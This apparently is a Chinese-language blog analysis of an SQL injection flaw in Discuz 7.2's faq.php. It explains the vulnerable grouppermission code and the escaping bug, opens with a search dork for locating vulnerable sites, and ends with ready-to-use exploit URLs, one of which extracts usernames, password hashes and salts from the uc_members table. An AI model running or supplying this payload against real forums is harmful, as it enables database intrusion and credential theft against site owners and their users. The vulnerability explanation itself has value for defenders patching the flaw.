inurl faq.php,最新discuz7.2 faq.php文高危SQL注入漏洞分析

discuz7.2又爆出最新高危SQ额L注入漏洞。网上已经爆出EXP，但是我们也应该了解下漏洞的原因嘛，所以就来分析：

网上公布的出POC了，POC如下：

http://www.xxx.com/faq.php?action=grouppermission&gids[99]=’&gids[100][0]=)

and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x

from information_schema

.tables group by x)a)%23

那么我把discuz7.2下载好，看到faq.php，找到action=grouppermission的代码(148行开始)：

} elseif($action == ‘grouppermission’) {

…

…

ksort($gids);

$groupids = array();

foreach($gids as $row) {

$groupids[] = $row[0];

}

$query = $db->query(“SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (“.implodeids($groupids).”)”);

看到，图中报错的注入语句就是上面这句话。所以特别看看这句话前面的代码，也就是我列出来的。

首先定义一个数组groupids，然后遍历$gids(这也是个数组，就是$_GET[gids])，将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入？

discuz在全局会对GET数组进行addslashes转义，也就是说会将'转义成\'，所以，如果我们的传入的参数是：gids[1]='的话，会

被转义成$gids[1]=\'，而这个赋值语句$groupids[] =

$row[0]就相当于取了字符串的第一个字符，也就是\，把转义符号取出来了。

再看后面，在将数据放入sql语句前，他用implodeids处理了一遍。我们看到implodeids函数：

function implodeids($array) {

if(!empty($array)) {

return "'".implode("','", is_array($array) ? $array : array($array))."'";

} else {

return '';

}

}

很简单一个函数，就是将刚才的$groupids数组用','分割开，组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符，它会将这里一个正常的'转义掉，比如这样：

'1','\','3','4'

有没有看出有点不同，第4个单引号被转义了，也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号，也就是产生的注入。我们把报错语句放在3这个位置，就能报错：

测试漏洞存在的语句

exp:

http://www.jincon.com  /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

最终爆出账号+密码+salt的语句

http://www.jincon.com  /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23